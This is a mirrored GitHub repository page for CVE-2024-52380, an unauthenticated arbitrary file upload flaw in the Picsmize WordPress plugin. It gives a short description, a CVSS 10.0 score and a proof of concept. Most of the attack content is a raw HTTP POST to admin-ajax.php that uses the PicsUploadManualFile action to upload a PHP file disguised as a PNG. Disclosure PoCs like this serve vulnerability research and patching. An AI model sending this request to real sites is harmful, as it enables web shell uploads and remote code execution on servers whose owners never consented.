https://github.com/randomrobbiebf/cve-2024-52380
Picsmize <= 1.0.0 - Unauthenticated Arbitrary File Upload
https://github.com/randomrobbiebf/cve-2024-52380
Last synced: 6 months ago
JSON representation
Picsmize <= 1.0.0 - Unauthenticated Arbitrary File Upload
- Host: GitHub
- URL: https://github.com/randomrobbiebf/cve-2024-52380
- Owner: RandomRobbieBF
- Created: 2024-11-25T14:56:38.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2024-11-25T14:57:44.000Z (over 1 year ago)
- Last Synced: 2025-09-22T14:02:25.831Z (10 months ago)
- Size: 1.95 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# CVE-2024-52380
Picsmize <= 1.0.0 - Unauthenticated Arbitrary File Upload
# Description
The Picsmize plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 1.0.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
```
Score: 10.0
Vendors: Softpulse Infotech
Products: Picsmize
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Interaction: none
Privileges: none
Attack Vector: network
```
POC
---
```
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=pics-manual
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------263629263440545280502417734995
Content-Length: 371
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
-----------------------------263629263440545280502417734995
Content-Disposition: form-data; name="images[]"; filename="t.php"
Content-Type: image/png
-----------------------------263629263440545280502417734995
Content-Disposition: form-data; name="action"
PicsUploadManualFile
-----------------------------263629263440545280502417734995--
```